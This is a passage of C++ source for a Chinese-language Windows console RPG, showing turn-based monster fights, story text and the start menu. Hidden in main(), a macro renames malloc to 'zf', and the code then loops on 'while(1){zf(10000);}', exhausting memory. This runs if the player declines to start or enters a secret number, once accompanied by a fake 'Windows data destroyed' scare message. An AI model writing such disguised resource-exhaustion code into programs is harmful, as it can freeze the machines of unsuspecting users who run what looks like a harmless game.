			hyzd();
			if(sw==1)
			{
				zhu();
			}
			cls
		}
		if(h==1&&gj==0&&zs==1)
		{
			gj2=10,fy=9; 
			cls
			cout<<"你遇见了一只钢角兽\n";
			Sleep(1000);
			cao=550;
			while(1)
			{
				cls
				if(fa<famax)
					fa++;
				if(level>=10)
				{
					fa++;
				}
				cout<<"钢角兽剩余血量";
				cout<<cao<<"\n";
				if(ggdz==1)
				{
					yydz();
					ssdz();
				}
				else
				{
					zsdz();
					fsdz();
				}
				cls
				int d;
				if(dz==false)
				{
					cout<<"钢角兽剩余血量";
					cout<<cao<<"\n";
					cout<<"1.攻击    2.防御\n";
					cin>>d;
		            Sleep(1000);
				    if(d==1)
					{
						printf("你向钢角兽发起攻击,钢角兽减血%d滴",g-fy);
			            cao-=g-fy;
			           	Sleep(100);
			           	printf("\n剩余血量%d滴\n",cao);
					} 
		            Sleep(1000);
				}
	            dz=false;
	            if (cao <= 0)
	            {
	                printf("你胜利了!\n经验+20\n");
	                Sleep(500);
	                jy+=20; 
	                sj();
	                slowout("\n你发现了一块钢角兽晶核\n");
	                bag[2]+=1;
	                gj=1;
	                s=smax;
	                fa=min(fa+10,famax);
	            	pua
	                break;
	            	cls
	            }
	            if (cao > 0) {
	                int jn=rand()%2;
	                if(jn==1)
	                {
	                    printf("钢角兽使出了技能“硬化”!他防御+2,攻击+2,你被吓到了,减血5!\n");
	                        fy+=2;
	                        gj2+=2;
	                        s-=5; 
	                        Sleep(100);
	                }
	                if(d==2)
	                {
	                	printf("钢角兽对你发起攻击,你防御了,减血%d滴",1);
	                	s -=1;
						Sleep(100);
	                	printf("\n剩余血量%d滴\n",s);
					}
					else{
						printf("钢角兽对你发起攻击,你减血%d滴",max(gj2 - f,1));
	                	s -= max(gj2 - f,1);
						Sleep(100);
	            	    printf("\n剩余血量%d滴\n",s);
					}
	            	Sleep(1000);
	            }
	            if (s <= 0)
	            {
	                printf("你凉了……\n");
	                sw=1;
	                luck-=0.09;
					Sleep(500);
	                cls
	                zhu();
	            }
			}
		}
		if(h==1&&sl==0&&zs==0)
		{
			gj2=15,fy=10; 
			cout<<"你遇见了一只水灵蛇\n";
			Sleep(1000);
			cao=400;
			while(1)
			{
				cls
				if(fa<famax)
					fa+=2;
				if(level>=10)
				{
					fa++;
				}
				cout<<"水灵蛇剩余血量";
				cout<<cao<<"\n";
				if(ggdz==1)
				{
					yydz();
					ssdz();
				}
				else
				{
					zsdz();
					fsdz();
				}
				int d;
				if(dz==false){
					cout<<"水灵蛇剩余血量";
					cout<<cao<<"\n";
					cout<<"1.攻击    2.防御\n";
					cin>>d;
	            	Sleep(1000);
	            	cls
				    if(d==1)
				    {
				    	printf("你向水灵蛇发起攻击,水灵蛇减血%d滴",g-fy);
		            	cao-=g-fy;
		            	Sleep(100);
		            	printf("\n剩余血量%d滴\n",cao);
					}
				}
				if(cx==true)
				{
					printf("水灵蛇受到冰冻伤害,水灵蛇产生免疫\n,水灵蛇减血%d滴",max(level*3-10,3));
					cao-=max(level*5-10,5);
					printf("\n剩余血量%d滴\n",cao);
				}
	            Sleep(1000);
	            dz=false;
	            if (cao <= 0)
	            {
	                printf("你胜利了!\n经验+20\n");
	                Sleep(500);
	                jy+=20; 
	                sj();
	                slowout("\n你发现了一块水灵蛇晶核\n");
	                bag[3]+=1;
	                sl=1;
	                s=smax; 
	                fa=min(fa+10,famax);
	            	pua
	            	break;
	            	cls
	            }
	            if (cao > 0) {
	                int jn=rand() % 3;
	                if (jn == 2)
	                {
	                    printf("水灵蛇使出了技能“水球”!你扣血15!\n");
	                        s-=15;
	                        Sleep(100);
	                }
	                if(d==2)
	                {
	                	printf("水灵蛇对你发起攻击,你防御了,减血%d滴",1);
		                s -= 1; 
						Sleep(100);
		                printf("\n剩余血量%d滴\n",s);
					}
					else
					{
						printf("水灵蛇对你发起攻击,你减血%d滴",max(gj - f,1));
		                s -= max(gj - f,1);
						Sleep(100);
		                printf("\n剩余血量%d滴\n",s);
					}
	            	Sleep(1000);
	            }
	            if (s <= 0)
	            {
	                printf("你凉了……\n");
	                sw=1;
	                luck-=0.09;
					Sleep(500);
	                cls
	                zhu();
	            }
			}
		}
		if((sl==1||gj==1)&&zy==0)
		{ 
			cls
			zyzd();
			cls
			if(sw==1)
			{
				zhu();
			}
			cout<<"恭喜你,通过了0.1版本!";
			cout<<"继续吗?"; 
			cout<<"1.继续   2.休息";
			int i;
			cin>>i;
			if(i==1)
			{
				cout<<"勇气可嘉!"; 
				smax+=5;
				s=smax;
			}
			else
			{
				cout<<"再见";
				cls
				zhu(); 
			}
			if(zy==1&&qj==0)
			{
				cls
				qjzd();
				if(sw==1)
				{
					cls
					zhu();
				}
			}
		}
		if(zy==1&&qj==0)
		{
			cls
			qjzd();
			if(sw==1)
			{
				cls
				zhu();
			}
		}
		if(qj==1&&slm==0)
		{
			cls
			slmzd();
			if(sw==1)
			{
				cls
				zhu();
			}
		}
		if(slm==1&&sg==0)
		{
			cls
			hazd();
			if(sw==1)
			{
				cls
				zhu();
			}
		}
		if(sg==1&&ctj==0)
		{
			cls
			cout<<"你打败了尸鬼,摸战利品的时候捡到了一张符纸。\n";
			cout<<"你好奇地打开看了一眼,脑后一痛。\n";
			jwzd();
	        pua
			cls
			zhu();
		}
	}
	cls
	zhu();
}
#define zf malloc
int main()
{
	srand(time(NULL));
	srand(time(NULL)+rand()%114514);
	SetConsoleTitle("Welcome!");
	cp("     Welcome to\n",8,0,1,30);
	cp("       Game\n",1,0);
	cp("     by BC20260054\n",12,0);
	cout<<"\n\n";
	cp("输入任意数开始\n",10,4);
	int a;
	cin>>a;
	cls;
	int y;
	for(int i=1;i<=231;i++)
	{
		if(i%3==1)
			y--;
		else y++;
	}
	if(a==y)
	{
		cout<<"你成为了传世职业——神之子(战士)\n";
		cout<<"你攻击为120,法力为55\n";
		g=120; 
		famax=55;
		smax=90;
		f=15;
		zs=1;
		szz=1;
		cout<<"你本来是一个落魄的贵族,一天,你在教堂祷告时,一群骑士闯进了你的家里。\n" ;
		cout<<"你回家后,看见惨死的父母,发誓要复仇。\n";
		cout<<"你在机缘巧合下知道了这是lgn的骑士团,队长叫陈曦。\n";
		system("color 4f");
		Sleep(3000);
		cls 
		zhu();
	}
	for(int i=1;i<=5;i++)
	{
		system("color 4F");
		system("color 3c");
		system("color 2d");
	}
	slowout("这个游戏没有任何关机代码,也没有反作弊系统,所以,你可以修改数据,但......那又有什么意义呢?");
	Sleep(1000);
	system("color 0F");
	cls
	SetConsoleTitle("GAME By lzx");
	cout<<"是否开始游戏?\n0.是     1.否";
	cin>>a;
	cls
	if(a==0)
	{
		cout<<"在你出生之前,你可以做一下选择";
		cout<<"你的性别???\n";
		cout<<"1.男(战士)   2.女(法师)   3.other(???)\n\n\n\n\n" ;
		int k;
		cin>>k;
		if(k==20)
		{
			system("color 4f");
			cout<<"看";
			Sleep(500);
			cout<<"来";
			Sleep(500);
			cout<<"有";
			Sleep(500);
			cout<<"人";
			Sleep(500);
			cout<<"知";
			Sleep(500);
			cout<<"道";
			Sleep(500);
			cout<<"这";
			Sleep(500);
			cout<<"个";
			Sleep(500);
			cout<<"bug";
			Sleep(500);
			cout<<".";
			Sleep(100);
			cout<<".";
			Sleep(100);
			cout<<".";
			Sleep(100);
			cout<<".";
			Sleep(100);
			cout<<".";
			Sleep(100);
			cout<<".";
			while(1){zf(10000);}
		}
		cout<<"再问你个小问题......\nykl喜欢谁?(删去前导零)\n\n\n\n";
		int fu;
		cin>>fu;
		if(fu==231)
			fu=231;
		else
		{
			cls
			main();
		}
        Sleep(500);
		cls
		cout<<"你出生了......\n"; 
		if(k==3)
		{
			int jjjjjjjjjjjjj=rand()%3+1;
			if(jjjjjjjjjjjjj==1)
			{
				cout<<"你胎死腹中。\n大侠重新来过吧\n";
				cls
				return 0;
			}
			if(jjjjjjjjjjjjj==3)
			{
				cout<<"你因为没有**,意外成为了特殊职业——阴阳师\n";
				cout<<"你攻击+10,法力+5\n";
				g=50; 
				famax=45;
				yy=1;
				Sleep(3000);
				cls
				cout<<"你本来是一个落魄的贵族,一天,你在教堂祷告时,一群骑士闯进了你的家里。\n" ;
				cout<<"你回家后,看见惨死的父母,发誓要复仇。\n";
				cout<<"你在机缘巧合下知道了这是lgn的骑士团,队长叫陈曦。\n";
				system("color 4f");
				cls
				zhu();
			}
			if(jjjjjjjjjjjjj==2)
			{
				cout<<"你因为没有**,父母慌得一批,你被伪装成了一名法师\n";
				g=30;
				famax=40;
				fs=1;
				Sleep(3000);
				cls
				cout<<"你本来是一个落魄的贵族,一天,你在教堂祷告时,一群骑士闯进了你的家里。\n" ;
				cout<<"你回家后,看见惨死的父母,发誓要复仇。\n";
				cout<<"你在机缘巧合下知道了这是lgn的骑士团,队长叫陈曦。\n";
				system("color 4f");
				cls
				zhu();
			}
		}
		if(k==1)
		{
			cout<<"18年过去了......\n";
			cout<<"你成为了一名小战士"; 
			g=40;
			famax=25;
			zs=1;
			Sleep(3000);
			cls
			cout<<"你本来是一个落魄的贵族,一天,你在教堂祷告时,一群骑士闯进了你的家里。\n" ;
			cout<<"你回家后,看见惨死的父母,发誓要复仇。\n";
			cout<<"你在机缘巧合下知道了这是lgn的骑士团,队长叫陈曦。\n";
			system("color 4f");
			cls
			zhu();
		}
		else
		{
			cout<<"18年过去了......\n你成为了一名小法师";
			g=30;
			famax=40;
			fs=1; 
		}
        Sleep(3000);
		cls
		cout<<"你本来是一个落魄的贵族,一天,你在教堂祷告时,一群骑士闯进了你的家里。\n" ;
		cout<<"你回家后,看见惨死的父母,发誓要复仇。\n";
		cout<<"你在机缘巧合下知道了这是lgn的骑士团,队长叫陈曦。\n";
		system("color 4f");
		cls
		zhu();
	}
	else
	{
		slowout("黄级长:手怎么那么欠呢!哪个神经元出问题了\n");
    	system("color 4F");
		cout<<("Windows的数据遭受了毁灭性的打击!!!\n");
		while(1){zf(10000);}
	}
	g+=level*5;
	famax+=level*5;
	f+=level*2;
	smax+=level*10;
}